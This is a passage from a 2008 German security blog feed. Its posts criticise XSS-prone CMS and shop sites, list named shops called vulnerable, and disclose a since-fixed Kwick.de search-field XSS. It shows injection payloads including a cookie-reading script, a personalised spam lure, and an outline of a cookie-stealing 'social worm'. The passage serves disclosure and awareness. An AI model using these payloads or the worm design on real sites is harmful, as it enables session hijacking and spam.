(&lt;acronym title=&quot;Kommunale Datenverarbeitung Region Stuttgart&quot;&gt;KDRS&lt;/acronym&gt;) diese Leute verbauen das Pirobase wie die wahnsinnigen. Leider leider mit durchgehend gleichem Ergebniss. XSS vulnerable.....&lt;br /&gt;überall.....&lt;br /&gt;&lt;br /&gt;Ich denke eine Sicherheitslücke wenn es auch &quot;nur&quot; *räusper* um xss geht wäre bei einem OpenSource Projekt innerhalb von 2 Tagen wenn überhaupt gefixed worden. Aber die &quot;kommerziellen&quot; Anbieter verschlafen dies. Das Kommentar von Pironet zu den Sicherheitsproblemen auf den Landesseiten, darunter auch die Polizei, dass müssen die Webmaster regeln wir sind dafür nicht verantwortlich! Ja klar ;-)&lt;br /&gt;Da ist mir ja Microsoft noch Sympatischer........&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/544622427229836584/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/544622427229836584' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/544622427229836584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/544622427229836584'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/06/fragwrdige-cms-anbieter.html' title='Fragwürdige CMS Anbieter......'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-6476279760838909517</id><published>2008-06-28T06:37:00.000-07:00</published><updated>2008-06-28T08:53:19.994-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="five minute"/><category scheme="http://www.blogger.com/atom/ns#" term="kurz test"/><category scheme="http://www.blogger.com/atom/ns#" term="online shop"/><category scheme="http://www.blogger.com/atom/ns#" term="shop"/><category scheme="http://www.blogger.com/atom/ns#" term="Shopping"/><category scheme="http://www.blogger.com/atom/ns#" term="sicherheit"/><category scheme="http://www.blogger.com/atom/ns#" term="sicherheitslücke"/><category scheme="http://www.blogger.com/atom/ns#" term="unsicher"/><title type='text'>Zertifizierte Online-Shops, trügerische Sicherheit!</title><content type='html'>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDYyZ6N5MxlKt7SMKXOCpZkBfcnW0p4slm1TN2ugHLn0b-K_Z88gOWdFuw1GjvP4jdIwZI5y-TcrokZJVx4vWr_ggTj45sUKdfuEldYXIfipwsa9Dk8XpEV_z8F2IB87zDvIv3jOjt2jh/s1600-h/modeschm.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 294px; height: 196px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDYyZ6N5MxlKt7SMKXOCpZkBfcnW0p4slm1TN2ugHLn0b-K_Z88gOWdFuw1GjvP4jdIwZI5y-TcrokZJVx4vWr_ggTj45sUKdfuEldYXIfipwsa9Dk8XpEV_z8F2IB87zDvIv3jOjt2jh/s400/modeschm.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5216958404615733986&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Online Shopping Sicherheit Trusted Zertifikate gibt es mittlerweile wie Sand am Meer.&lt;br /&gt;Doch was taugt ein Zertifizierter Shop überhaupt.&lt;br /&gt;Was meinen die mit &quot;trusted&quot;...... ist &quot;https&quot; ?? Reicht dass schon ??&lt;br /&gt;&lt;br /&gt;Ich habe mit das &lt;a href=&quot;http://www.safer-shopping.de&quot;&gt;Zertifikat vom Tüv&lt;/a&gt; mal genauer unter die Lupe genommen. Und musste feststellen dass bei einigen Shops trotz (trusted, save, zertifiziert) und anderen ominösen Auszeichnungen. Es offensichtliche Sicherheitslücken gibt. Diese musste ich nicht suchen, sonder die sind mir geradezu ins Auge gesprungen.&lt;br /&gt;&lt;br /&gt;Bei ciao.de zum Bleistift ist XSS möglich. Und das ohne Probleme und Einschränkungen. XSS ist allgemein bei vielen Shops möglich. Am besten ist es für einen Angreifer, Shop mit community und einem einheitlichen Login.&lt;br /&gt;&lt;br /&gt;Es sind nicht nur mini Shops welche unsicher sind. Es sind OnlineShops von Beate-Uhse, Karstadt-Quelle etc dabei. Also nicht nur komische Läden wo niemand einkauft!!&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLz5bivzl-EqCxztQuFWZXeJllZ0ZvZynF6PyYJiIaBJ_KPiKtZ8XoJzlLGM8rrYDCBWJPcX2qbUr1ovwzuU-IXEj4xoKxEfuR44pDEmBM346hoUT-JiIu1gpgHhEGwr9Q3j5ldePuXrsK/s1600-h/kq.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 342px; height: 245px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLz5bivzl-EqCxztQuFWZXeJllZ0ZvZynF6PyYJiIaBJ_KPiKtZ8XoJzlLGM8rrYDCBWJPcX2qbUr1ovwzuU-IXEj4xoKxEfuR44pDEmBM346hoUT-JiIu1gpgHhEGwr9Q3j5ldePuXrsK/s400/kq.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5216958742606546258&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So wird es leicht gemacht Daten auszulesen, und man kann den XSS Code sehr effektiv weiterverbreiten. Manche Shops führen zweifelhafte Sicherheitsblockaden ein. Da steht dann etwas wie &quot;a attack was bla bla your ip bla bla&quot;. Uhh jetzt gehts aber los. Ich hab nur gesucht.&lt;br /&gt;&lt;br /&gt;Macht aber nichts. Das hat mich immehin dazu angespornt einen workaround zu finden. Beim IE zumindest klappts dann auch mit dem script. Denn komischerweise sind html tags mit style erlaubt ???? Was zum Teufel ist da los????&lt;br /&gt;Es kann doch nicht wahr sein. Ich glaube das Entwickeln Menschen die haben keine Ahnung wie man so einen Angriff durchführt. Wie wollt ihr euch vor etwas Schützen von dem ihr keine Ahnung habt was es macht? Und wie es geht??&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEQ4_iXFgTN3QV3Vn2zYiTQ7MSZlD36xscPX421YqQfmFmUze9PWCUOfFXmQt3P_f08qk93WGUflK0T5ZLrHyGtsYzCfK0ho2Cmj4oEELHW1k0ogyMSQ3oMAWNo6_6qWOKTWStiWd9zypq/s1600-h/ciao1.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 300px; height: 224px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEQ4_iXFgTN3QV3Vn2zYiTQ7MSZlD36xscPX421YqQfmFmUze9PWCUOfFXmQt3P_f08qk93WGUflK0T5ZLrHyGtsYzCfK0ho2Cmj4oEELHW1k0ogyMSQ3oMAWNo6_6qWOKTWStiWd9zypq/s400/ciao1.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5216959123552466610&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Egal. Zumindest hat diese Testreihe aufgezeigt dass Trusted nicht Trusted ist. Und dass man lieber aufmerksam ist als Kunde. Denn wer weiß wo ihr euch einloggt?? Auch ciao.de oder auf  GibMirDeineDaten.de&lt;br /&gt;&lt;br /&gt;Vielleicht vertrauen auch die Shop Betreiber auf diese Zertifikate. Die haben gesagt wir sind sicher. Ja die schauen ja nur ob die Daten per https übertragen werden, ob die Ware ankommt, der Umtausch Funktioniert usw.... die schauen doch nicht ob eure Server und Software sicher ist. Das machen die Zertifikate nicht. Und mal im ernst, die Zertifizierer wollen nur Geld verdienen. Die möchten nicht prüfen ob der Kunde dort sicher ist. Die wollen nur Profit. Das sind AGs da geht es um Geld machen nicht um mich oder Dich als Kunde!&lt;br /&gt;&lt;br /&gt;Im Anhang habe ich eine Liste mit Shops welche eindeutige Sicherheitsmängel auf der Seite beinhalten. Also Augen auf beim Online Kauf!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ich hab jeden Shop nur kurz angetestet. Also nicht länger als 5 Minuten. Und dass ist dafür ein verherendes Ergebniss:&lt;br /&gt;&lt;br /&gt;Liste der Shops mit Sicherheitslücken:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://boc24.de/&quot;&gt;boc24.de&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://cxtreme.de/&quot;&gt;Conrad Extreme, ja Xtrem unsicher&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://conrad-security.de/&quot;&gt;Conrad-Security.de Sicher doch muss man sagen&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://topdeq.de/&quot;&gt;Topdeq.de&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://essen-und-trinken.de/&quot;&gt;Essen-und-Trinken (kein shop) community&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://karstadtquelle-versicherung.de/&quot;&gt;Karstadt-Quelle Versicherung. Hoffentlich hält&lt;/a&gt;&lt;a href=&quot;http://karstadtquelle-versicherung.de/&quot;&gt; die Versich&lt;/a&gt;&lt;a href=&quot;http://karstadtquelle-versicherung.de/&quot;&gt;erung mehr als die Seite ;-)&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://modeschmuck.de/&quot;&gt;Modeschmuck.de einigermaßen sicher. Schreckt kleine Kids ab. Wenn erfahren auch unsicher&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.elektromotorenmarkt.de/&quot;&gt;Elektromotorenmartk.de&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.eddiebauer.de/&quot;&gt;Eddiebauer.de&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.eis.de/&quot;&gt;Eis.de&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://beate-uhse.de/&quot;&gt;Beate-Uhse, ein heiße&lt;/a&gt;&lt;a href=&quot;http://beate-uhse.de/&quot;&gt;s Pflaster&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://orion.de/&quot;&gt;Orion.de genauso gut wie oben&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.gebrueder-goetz.de/&quot;&gt;Gebrüder Götz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Die Liste der nicht entdeckten Lücken in anderen Shops könnte noch länger werden. Aber ich kann ja nicht wochenlang hier shops testen. Das Zahlt ja niemand. Kennt jemand noch nen unsicherehn shop;-) Einfach als Kommentar Posten ich nehms in die Liste auf.&lt;br /&gt;&lt;br /&gt;Bilder sagen mehr als Tausend Worte:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSGFB2d__1Ea-l_Ce1ZIlVF9_M5NJkhJGrErs11iKTrwTRiw9cbrDHO318bBmv-RnbtR3xcWp-QWZdtFr7k9zPPrt-6TX0KPEzeyhWEiaYLIqj7wXo3m1jySZo9bokrAx5BmWchE82Yvzo/s1600-h/ciao2.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 324px; height: 168px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSGFB2d__1Ea-l_Ce1ZIlVF9_M5NJkhJGrErs11iKTrwTRiw9cbrDHO318bBmv-RnbtR3xcWp-QWZdtFr7k9zPPrt-6TX0KPEzeyhWEiaYLIqj7wXo3m1jySZo9bokrAx5BmWchE82Yvzo/s400/ciao2.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5216959812555182514&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoZnl6lQvFKE0zXvwer4Fv5HiBD4LUJVaCRK2Twjz8ijovSVk1HJfnwQ2OdW2R9NkqfTNQWQs6hgSfVHXdMTbaFv3oK0IcEgOH9bgw7IUI0xcm_w0VdGzFlmODu-aD4fWTn1SnJi6ieMal/s1600-h/ciao3.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 295px; height: 153px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoZnl6lQvFKE0zXvwer4Fv5HiBD4LUJVaCRK2Twjz8ijovSVk1HJfnwQ2OdW2R9NkqfTNQWQs6hgSfVHXdMTbaFv3oK0IcEgOH9bgw7IUI0xcm_w0VdGzFlmODu-aD4fWTn1SnJi6ieMal/s400/ciao3.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5216960392785213314&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2KdaqP55rpCkmslBO0uA1SSSoXnFijLnA2iJ1F6l4RxcqB9FnC_zkXaC61erG1ENa1AnSfFv6v5r9Hu44Q3OIEWnIm82BuxSXyQJcO6raqowUre_u6u6TvLwuMD2wI4pHtA7R4tWJdDX9/s1600-h/ciao4.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 297px; height: 132px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2KdaqP55rpCkmslBO0uA1SSSoXnFijLnA2iJ1F6l4RxcqB9FnC_zkXaC61erG1ENa1AnSfFv6v5r9Hu44Q3OIEWnIm82BuxSXyQJcO6raqowUre_u6u6TvLwuMD2wI4pHtA7R4tWJdDX9/s400/ciao4.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5216960678429185746&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/6476279760838909517/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/6476279760838909517' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/6476279760838909517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/6476279760838909517'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/06/zertifizierte-online-shops-trgerische.html' title='Zertifizierte Online-Shops, trügerische Sicherheit!'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDYyZ6N5MxlKt7SMKXOCpZkBfcnW0p4slm1TN2ugHLn0b-K_Z88gOWdFuw1GjvP4jdIwZI5y-TcrokZJVx4vWr_ggTj45sUKdfuEldYXIfipwsa9Dk8XpEV_z8F2IB87zDvIv3jOjt2jh/s72-c/modeschm.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-5740611978180524286</id><published>2008-06-23T07:22:00.000-07:00</published><updated>2008-06-23T07:24:51.711-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="absichern"/><category scheme="http://www.blogger.com/atom/ns#" term="beheben"/><category scheme="http://www.blogger.com/atom/ns#" term="bsi"/><category scheme="http://www.blogger.com/atom/ns#" term="gefahr"/><category scheme="http://www.blogger.com/atom/ns#" term="kwick"/><category scheme="http://www.blogger.com/atom/ns#" term="sicherheitslücke"/><category scheme="http://www.blogger.com/atom/ns#" term="Social network"/><category scheme="http://www.blogger.com/atom/ns#" term="waf"/><category scheme="http://www.blogger.com/atom/ns#" term="xss"/><title type='text'>Soziale Netze und die Sicherheit! Report Kwick!</title><content type='html'>&lt;span style=&quot;font-family:arial;&quot;&gt;Hinweis:&lt;br /&gt;&lt;a href=&quot;http://hack1n9.blogspot.com/&quot;&gt;Diesen Post habe ich auf meinem hack1n9 Blog veröffentlicht.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Die Sozialen Netzwerke, neudeutsch: Social Networks, halten nicht allzu viel von Sicherheit. Vor allem müssten die Entwickler viel mehr für das Thema &lt;a href=&quot;http://de.wikipedia.org/wiki/XSS&quot;&gt;XSS&lt;/a&gt; Sensibilisiert werden. D&lt;/span&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;enn Potentielle Angreifer finden jede Schwachstelle im System. Und wer lange genug sucht der wird imme&lt;/span&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;r fündig. Es sollte den An&lt;/span&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;greifern nur nicht allzu einfach gemacht werden.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.kwick,de/&quot;&gt;Kwick.de&lt;/a&gt; hatte bis zum 20.06.08 auch noch oder wieder ein Problem mit XSS. Betroffen waren so gut wie alle Suchformulare auf der Seite. Per zufall bin ich auf diesen Umstand aufmerksam geworden.&lt;br /&gt;Eines sei gesagt. Bei &lt;a href=&quot;http://www.kwick.de/&quot;&gt;Kwick&lt;/a&gt; kann man sich nun getrost Anmelden denn die Sicherheitslücke wurde sofort behoben. Also eine sichere Sache. Andere Social Networks haben ähnliche &lt;a href=&quot;http://de.wikipedia.org/wiki/XSS&quot;&gt;XSS&lt;/a&gt; Probleme, eigentlich erschreckend viele. Die Namen möchte ich nicht nennen denn sonst rennen vielleicht ein Paar Dummys dahin und testen es gleich.........&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nachdem ich dieses Problem dem Betreiber gemeldet hatte wurde es auch Postwendend behoben. Nur aus diesem Grund kann ich diese Sicherheitslücke nun veröffentlichen. Okay zum anfang.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Abbildung&lt;/span&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHWuMVgwL_GH557xP9e3Z3nTeri-3HuvTyAjxLsZ4Fn32ozHsO6VtKaLKFDTl96NRzd6eGgOhwe6I7dKPU_Ov3rdRPEO5OVbtKbKNGWYHdWiYhb0wUZIMQaeB-9u-r-t75h7XYqFzTsZc5/s1600-h/KwickAfter.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHWuMVgwL_GH557xP9e3Z3nTeri-3HuvTyAjxLsZ4Fn32ozHsO6VtKaLKFDTl96NRzd6eGgOhwe6I7dKPU_Ov3rdRPEO5OVbtKbKNGWYHdWiYhb0wUZIMQaeB-9u-r-t75h7XYqFzTsZc5/s400/KwickAfter.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5215037063017450418&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-size:85%;&quot;&gt; 1: Kwick Seite nach der &lt;a href=&quot;http://de.wikipedia.org/wiki/XSS&quot;&gt;XSS&lt;/a&gt; Attacke&lt;/span&gt;&lt;br /&gt;Der Exploit Code welcher in das Suchformular eingegeben wurde ist folgender:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);font-size:100%;&quot; &gt;&quot;&amp;gt;&amp;lt;iframe src=http://google.de&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(Der steht in einer Zeile)&lt;br /&gt;Dies habe ich in einige Suchfelder auf der kwick Seite eingegeben. Und das Ergebniss war ein iframe mit google. Und eine leicht zerstörte kwick! Seite, siehe Abbildung 1. Warum ist das möglich?&lt;br /&gt;Bei &lt;a href=&quot;http://www.kwick.de/&quot;&gt;Kwick&lt;/a&gt; wurden, werden Suchanfragen nach dem Suchvorgang wieder in ein input Feld eingefügt. Das sieht dann im HTML-Code folgend aus:&lt;br /&gt;&lt;br /&gt;&lt;pre id=&quot;line156&quot;&gt;&lt;&lt;span class=&quot;start-tag&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt; type&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;text&quot; &lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt;name&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;q&quot; &lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt;id&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;search_q&quot; &lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt;value&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;&quot;&amp;gt;&amp;lt;iframe src=http://google.de&amp;gt;&lt;/span&gt;&lt;span class=&quot;attribute-value&quot;&gt;&quot;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt;style&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;widt&lt;/span&gt;&lt;span class=&quot;attribute-value&quot;&gt;h: 250px;&quot; &lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;borderLine&quot; &lt;/span&gt;&lt;span class=&quot;attribute-name&quot;&gt;title&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;Suchbegriff eingeben (Name, Stadt, ...)&quot; &lt;/span&gt;&lt;span class=&quot;error&quot;&gt;&lt;span class=&quot;attribute-name&quot;&gt;/&gt;&lt;br /&gt;&lt;span style=&quot;;font-family:courier new;font-size:100%;&quot;  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;;font-family:courier new;font-size:100%;&quot;  &gt;Hier gut zu erkennen. Der Suchstring wird in das value=&quot;Suchstring&quot; eingefügt.&lt;br /&gt;Und durch ein weiteres Anführungszeichen kann man das value Feld schließe&lt;span style=&quot;font-family:arial;&quot;&gt;. Nach&lt;br /&gt;dem das Feld geschlossen ist kann man mit &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&gt;&lt;/span&gt; den input tag schließen und man kann&lt;br /&gt;nun ein neues tag öffnen. Im Testfall nun ein iframe.&lt;br /&gt;&lt;br /&gt;Vielleicht sagt nun der ein oder andere na und? Da&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;;font-family:courier new;font-size:100%;&quot;  &gt;&lt;span style=&quot;font-family:arial;&quot;&gt;s ist doch nicht schlimm, da es&lt;br /&gt;ja nur auf meiner Seite ist. Ja das macht ja nichts! Doch was wenn ein Link so mani-&lt;br /&gt;puliert wurde und Sie arglos auf diesen Link klicken, dann könnte ein Angreifer doch&lt;br /&gt;mehr machen. Um zu zeigen wie mächtig so eine Sicherheitslücke ist soll folgendes&lt;br /&gt;Beispiel zeigen.&lt;br /&gt;Bisher haben wir nur einen iframe eingefügt. Jetzt werden wir einen Java Script&lt;br /&gt;Code zur&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;;font-family:courier new;font-size:100%;&quot;  &gt;&lt;span style=&quot;font-family:arial;&quot;&gt; Demonstration einfügen.&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; &quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZYkWJW68lIrBe_rXiRlup6A1bZzAgj_TzlhLOmojknUl-BR4zAz1GSj6mnRk9Q0dhK6Zmhaqsb7lpRLpR7zgThv_hRmlzARah1XLfuvHoc4Ph2ZARqdtJRbhDt9GBNwIwRY2GXJJOJtYU/s1600-h/kwickExplOne.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZYkWJW68lIrBe_rXiRlup6A1bZzAgj_TzlhLOmojknUl-BR4zAz1GSj6mnRk9Q0dhK6Zmhaqsb7lpRLpR7zgThv_hRmlzARah1XLfuvHoc4Ph2ZARqdtJRbhDt9GBNwIwRY2GXJJOJtYU/s400/kwickExplOne.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5215035206823981042&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;In der Abbildung zwei sieht man dass Ergebniss dieser Abfrage. Es gibt nun alle Cookie Daten welche von &lt;a href=&quot;http://www.kwick.de/&quot;&gt;K&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;font-family:arial;&quot;&gt;&lt;a href=&quot;http://www.kwick.de/&quot;&gt;wick&lt;/a&gt; gesetzt wurden. Dass ist so gefährlich weil sobald jemand die &lt;/span&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;cookie Daten von einem Besitzt so nimmt dieser für den Kwick Server die Idendität von jemand anderem an ! Also das heißt jeder kann nach einem Erfolgreichen Angriff auf meine Daten zugreifen. Nachrichten lesen, Nachrichten senden.&lt;br /&gt;&lt;br /&gt;Also das volle Programm. In unserem Beispiel möchten wir das ganza aber noch etwas weiter ausbauen.&lt;br /&gt;&lt;br /&gt;Was ist wenn ein Angreifer Spam versenden möchte. Damit diese Spam Nachrichten aber besser getarnt sind braucht man als Absender eine Person die man gut kennt, also jemand der mit einem befreundet ist. Und damit der Verdacht von Spam nicht sofort aufkommt könnte man das ganze noch Personifizieren.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Also ein Gästebucheintrag mit:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Hallo Name_Empfänger,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;na wie gehts? Ich hab was im Forum gefunden&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;dass musst du dir ansehen:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    Link ins Forum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Also bis dann Gruß &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Absender_Name&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id=&quot;line156&quot;&gt;&lt;br /&gt;&lt;/pre&gt;So sieht das ganze recht nett aus und mit Sicherheit wird der Empfänger, also von diesem Gästebucheintrag auf diesesn Link klicken, denn er möchte ja wissen was ihm der Absender, ein bekannter, zeigen möchte!&lt;br /&gt;&lt;br /&gt;Für diverse Tests habe ich so ein Programm in PHP Entwickelt um herauszufinden ob es wirklich ohne weiteres möglich ist ein solchen &quot;Social Worm&quot; zu entwickeln. Ich muss sagen es ist erstaunlich einfach und schnell gelöst. Es ist auch möglich einen Wurm nur mit XSS Code zu erstellen, also mittels AJAX Funktionen des Betreibers und eigens erstellten. Dies ist aber sehr schwer zu kontrollieren. So ein Wurm verteilt sich rasant und kann auch ohne eine Benutzereingabe sich weiterverbreiten.&lt;br /&gt;Die PHP Variante habe ich gewählt da Sie gut zu Kontrollieren ist, und man sehr flexibel ist in dem was man mit dem Wurm macht.&lt;br /&gt;&lt;br /&gt;Nun zum Theoretischen Aufbau dieses Angriffes.&lt;br /&gt;&lt;br /&gt;1. XSS Code welcher das PHP Skript einbindet une ein Suchergebniss anzeigt.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. PHP Programmteil, bekommt das cookie als Parameter, verteilt den XSS Code&lt;br /&gt;&lt;br /&gt;3. Anwender welcher auf einen Manipulierten link klickt (weiter mit 1)&lt;br /&gt;&lt;br /&gt;Zu den einzelnen Punkten. Wie 